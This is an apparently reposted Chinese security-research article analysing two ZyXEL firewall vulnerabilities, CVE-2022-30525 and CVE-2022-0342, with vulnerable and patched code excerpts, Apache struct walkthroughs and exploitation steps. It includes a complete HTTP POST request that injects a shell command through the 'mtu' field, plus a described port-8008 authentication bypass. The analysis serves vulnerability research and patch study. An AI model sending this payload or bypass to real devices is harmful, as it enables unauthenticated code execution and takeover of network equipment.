ZyXEL防火墙历史代表性高危漏洞分析

渗透技巧 3个月前 admin
119 0 0

ZyXEL防火墙是合勤科技(ZyXEL)生产的一系列网络安全设备,旨在为各种网络环境提供安全保护。

1. CVE-2022-30525

1.1 漏洞介绍

允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。

1.2 漏洞分析

1.2.1 漏洞位置

攻击是通过/ztp/cgi-bin/handler端点发起的。handler是一个处理各种命令的 Python 脚本,handler.py带有以下支持的命令。

supported_cmd = ["ping""dnsanswer""ps""peek""kill""traceroute"
                 "atraceroute""iptables""getorchstat"
                 "getInterfaceName_out""getInterfaceInfo"
                 #"getSingleInterfaceInfo", "getAllInterfaceInfo", 
                 #"getInterfaceNameAll", "getInterfaceNameMapping", 
                 "nslookup""iproget"
                 "diagnosticinfo""networkUnitedTest"
                 #"setRemoteAssistActive", "getRemoteAssist", 
                 "setRemoteZyxelSupport""getRemoteZyxelSupport"
                 "getWanPortList""getWanPortSt""setWanPortSt""getZTPurl""getWanConnSt"
                 "getUSBSt","setUSBmount","setUSBactive"
                 "getDiagnosticInfoUsb"
                 "getDeviceCloudInfo""getSPSversion""getpacketcapconf""getpacketcapst""packetcapstart""packetcapend""packetcapremovefile"
                 "getlanguagest","setlanguage"
                ]

受漏洞影响命令getWanPortSt

elif req["command"] == "getWanPortSt":
        reply = lib_wan_setting.getWanPortSt()

定位getWanPortSt函数 – lib_wan_setting.py

#关键代码
if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
 
#修复之前
        logging.info("cmdLine = %s" % cmdLine)
        with open("/tmp/local_gui_write_flag""w"as fout:
            fout.write("1");
        
        reponse = os.sytem(cmdline)
        logging.info(response)
#修复之后
        logging.info("cmdLine = %s" % cmdLine)
        with open("/tmp/local_gui_write_flag""w"as fout:
            fout.write("1");
        
        DEVNULL = open(os.devnull, 'w')
        response = subprocess.call(shlex.split(cmdLine),stdout=DEVNULL,stderr=DEVNULL)#使用列表传递命令和参数
        logging.info(response)

1.2.2 修复之后

过滤危险字符代码 – shlex.py

#shlex.split(cmdLine)
def split(s, comments=False, posix=True):
    """Split the string *s* using shell-like syntax."""
    if s is None:
        raise ValueError("s argument must not be None")
    lex = shlex(s, posix=posix)
    lex.whitespace_split = True
    if not comments:
        lex.commenters = ''
    return list(lex)
 
class shlex:
    "A lexical analyzer class for simple shell-like syntaxes."
    def __init__(self, instream=None, infile=None, posix=False,
                 punctuation_chars=False)
:

        if isinstance(instream, str):
            instream = StringIO(instream)
        if instream is not None:
            self.instream = instream
            self.infile = infile
        else:
            self.instream = sys.stdin
            self.infile = None
        self.posix = posix
        if posix:
            self.eof = None
        else:
            self.eof = ''
        self.commenters = '#'
        self.wordchars = ('abcdfeghijklmnopqrstuvwxyz'
                          'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_')
        if self.posix:
            self.wordchars += ('ßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ'
                               'ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞ')
        self.whitespace = ' trn'
        self.whitespace_split = False
        self.quotes = ''"'
        self.escape = '\'
        self.escapedquotes = '"'
        self.state = ' '
        self.pushback = deque()
        self.lineno = 1
        self.debug = 0
        self.token = ''
        self.filestack = deque()
        self.source = None
        if not punctuation_chars:
            punctuation_chars = ''
        elif punctuation_chars is True:
            punctuation_chars = '();<>|&'
        self._punctuation_chars = punctuation_chars
        if punctuation_chars:
            # _pushback_chars is a push back queue used by lookahead logic
            self._pushback_chars = deque()
            # these chars added because allowed in file names, args, wildcards
            self.wordchars += '~-./*?='
            #remove any punctuation chars from wordchars
            t = self.wordchars.maketrans(dict.fromkeys(punctuation_chars))
            self.wordchars = self.wordchars.translate(t)

1.3 漏洞利用

请求数据包:

POST /ztp/cgi-bin/handler HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Type: application/json
Accept-Encoding: gzip

{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; `whoami`;","data":"hi"}

2. CVE-2022-0342

2.1 漏洞介绍

CGI程序中存在身份绕过漏洞,可能允许攻击者绕过Web身份认证并获取设备的管理访问权限。

2.2 漏洞分析

Zyxel设备Web服务重要由中间件Apache HTTP来进行管理,对应配置文件为/usr/local/zyxel-gui/httpd.conf。

modules/mod_auth_zyxel.so – 管理用户认证动态库

#LoadModule  auth_pam_module modules/mod_auth_pam.so
#LoadModule php4_module modules/libphp4.so
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule auth_zyxel_module    modules/mod_auth_zyxel.so
LoadModule unique_id_module modules/mod_unique_id.so
LoadModule security2_module modules/mod_security2.so

登录过程Cookie会产生authtok字段:

ZyXEL防火墙历史代表性高危漏洞分析

2.2.1 漏洞位置

根据代码提示 –  GUI相关操作无需认证即可访问。

ZyXEL防火墙历史代表性高危漏洞分析

2.2.2 流程分析

  • Get_server_conf – 读取/tmp/__HTTP_SERVER_CONFIG文件

ZyXEL防火墙历史代表性高危漏洞分析

读取参数变量与check_authok函数结构体比较,Apache为开源代码,我们可通过开发文档获取相应数据包结构体。

https://svn.apache.org/repos/asf/httpd/httpd/trunk/include/httpd.h

  • struct request_rec
struct request_rec {
    /** The pool associated with the request */
    apr_pool_t *pool;
    /** The connection to the client */
    conn_rec *connection;
    /** The virtual host for this request */
    server_rec *server;

    /** Pointer to the redirected request if this is an external redirect */
    request_rec *next;
    /** Pointer to the previous request if this is an internal redirect */
    request_rec *prev;

    /** Pointer to the main request if this is a sub-request
     * (see http_request.h) */

    request_rec *main;

    /* Info about the request itself... we begin with stuff that only
     * protocol.c should ever touch...
     */

    /** First line of request */
    char *the_request;

request_rec + 4 ->  mips32 -> 结构体第二个成员 -> conn_rec *connection

  • struct conn_rect

struct conn_rec {
    /** Pool associated with this connection */
    apr_pool_t *pool;
    /** Physical vhost this conn came in on */
    server_rec *base_server;
    /** used by http_vhost.c */
    void *vhost_lookup_data;

    /* Information about the connection itself */
    /** local address */
    apr_sockaddr_t *local_addr;
    /** remote address; this is the end-point of the next hop, for the address
     *  of the request creator, see useragent_addr in request_rec
     */

    apr_sockaddr_t *client_addr;

    /** Client's IP address; this is the end-point of the next hop, for the
     *  IP of the request creator, see useragent_ip in request_rec
     */

    char *client_ip;
    /** Client's DNS name, if known.  NULL if DNS hasn't been checked,
     *  "" if it has and no address was found.  N.B. Only access this though
     * get_remote_host() */

    char *remote_host;
    /** Only ever set if doing rfc1413 lookups.  N.B. Only access this through
     *  get_remote_logname() */

    /* TODO: Remove from request_rec, make local to mod_ident */
    char *remote_logname;

request_rec + 4 -> conn_rec + 12 -> 结构体第4个元素 -> apr_sockaddr_t *localaddr

  • struct apr_sockaddr
struct apr_sockaddr_t {
    /** The pool to use... */
    apr_pool_t *pool;
     /** The hostname */
     char *hostname;
     /** Either a string of the port number or the service name for the port */
     char *servname;
     /** The numeric port */
     apr_port_t port;
     /** The family */
     apr_int32_t family;
     /** How big is the sockaddr we're using? */
     apr_socklen_t salen;
     /** How big is the ip address structure we're using? */
     int ipaddr_len;
     /** How big should the address buffer be?  16 for v4 or 46 for v6
      *  used in inet_ntop... */

     int addr_str_len;
     /** This points to the IP address structure within the appropriate
      *  sockaddr structure.  */

     void *ipaddr_ptr;
     /** If multiple addresses were found by apr_sockaddr_info_get(), this 
      *  points to a representation of the next address. */

     apr_sockaddr_t *next;
     /** Union of either IPv4 or IPv6 sockaddr. *

Request_rec+4 -> conn_rec + 12 -> apr_sockaddr_t + 12 -> 结构体第4个元素 -> apr_port_t port

  • /tmp/__HTTP_SERVER_CONFIG – 有关写操作 – zyshd

ZyXEL防火墙历史代表性高危漏洞分析

ZyXEL防火墙历史代表性高危漏洞分析

文件内容格式 – 1 443 80 4433 – 修改HTTP报文中HOST字段,直接访问CGI文件,无需认证。

关键配置文件 – /usr/local/zyxel_gui/httpd.conf。

ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"

AddHandler cgi-script .cgi .py

cgi-bin目录配置在全局区域内,及所有cgi都可以通过其他端口访问对应资源。

2.3 漏洞利用

默认访问80端口,需要用户认证:

ZyXEL防火墙历史代表性高危漏洞分析

访问8008端口,绕过认证,获取设备配置文件:

ZyXEL防火墙历史代表性高危漏洞分析

引用

(1)https://security.humanativaspa.it/zyxel-authentication-bypass-patch-analysis-cve-2022-0342/
(2)https://apr.apache.org/docs/apr/1.5/apr__network__io_8h_source.html
(3)https://svn.apache.org/repos/asf/httpd/httpd/trunk/include/httpd.h


原文始发于微信公众号(山石网科安全技术研究院):ZyXEL防火墙历史代表性高危漏洞分析

版权声明:admin 发表于 2024年8月5日 下午5:39。
转载请注明:ZyXEL防火墙历史代表性高危漏洞分析 | CTF导航

相关文章